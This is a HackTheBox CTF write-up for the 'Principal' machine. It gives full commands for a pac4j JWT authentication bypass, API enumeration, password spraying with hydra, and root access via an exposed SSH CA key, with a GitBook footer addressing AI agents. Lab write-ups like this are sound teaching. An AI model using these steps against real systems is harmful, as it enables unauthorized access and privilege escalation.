> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Principal HackTheBox Writeup

Principal HackTheBox Medium Linux machine writeup covering a pac4j JWE authentication bypass, API enumeration, SSH credential reuse, and SSH CA privilege escalation.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Skills:**

* Port scanning and web application enumeration
* pac4j JWE authentication bypass (CVE-2026-29000)
* Authenticated API enumeration and credential reuse
* SSH certificate authority privilege escalation
  {% endhint %}

## Reconnaissance

### Workspace setup

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Port scanning

Start with a full TCP scan to identify exposed services:

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

The scan identifies SSH on port `22` and HTTP on port `8080`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Perform a targeted service and version scan:

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Web application analysis

The web application listens on port `8080`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

The application uses pac4j `1.2.0`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Authentication bypass

This pac4j version is vulnerable to an authentication bypass using a JWE-wrapped PlainJWT. The issue is tracked as `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Enumerate application paths with Gobuster:

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

The dashboard redirects unauthenticated users to the login page.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

Loading the dashboard triggers a request to `/api/auth/jwks`, which exposes the public JSON Web Key Set:

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Use the exposed public key to generate a valid administrator token.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Use the following proof of concept:

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Run the proof of concept with the `admin` username and `ROLE_ADMIN` role:

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

The proof of concept returns an administrator bearer token. Store it in a variable before making authenticated requests:

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Authenticated API enumeration

Review `static/js/app.js` to identify the exposed API routes:

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Use the administrator token to enumerate users. The captured request below calls `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

The response lists eight users. The `svc-deploy` account is especially relevant because it handles automated SSH certificate deployments.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"IT Security","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Service account for automated deployments via SSH certificate auth.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Team lead - backend services","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engineering","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Frontend developer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engineering","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Operations manager","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Security analyst - on leave until Jan 6","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"IT Security","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"QA engineer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Engineering director","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engineering","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

Next, request the application settings through `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Format the JSON response with `jq` to review the configuration:

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq
```

{% endcode %}

The `encryptionKey` value exposes a reusable password:

* D3pl0y\_$$H\_Now42!

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### SSH access

Test the leaked password against the usernames gathered from the API:

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

The password is valid for the `svc-deploy` account.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Connect as `svc-deploy` and retrieve the user flag:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Privilege escalation

The `svc-deploy` account belongs to the `deployers` group.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Enumerate files accessible to this group:

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

The group can access the SSH certificate authority material:

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Inspect `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` permits root authentication with a key. The accessible CA private key can sign a certificate for the `root` principal.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Abuse the SSH certificate authority

Generate a temporary key pair:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Sign the public key for the `root` principal with the exposed CA private key:

`-I` sets the certificate identity. `-n` sets the valid principal.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Connect locally as `root` with the signed certificate:

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Retrieve the root flag:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.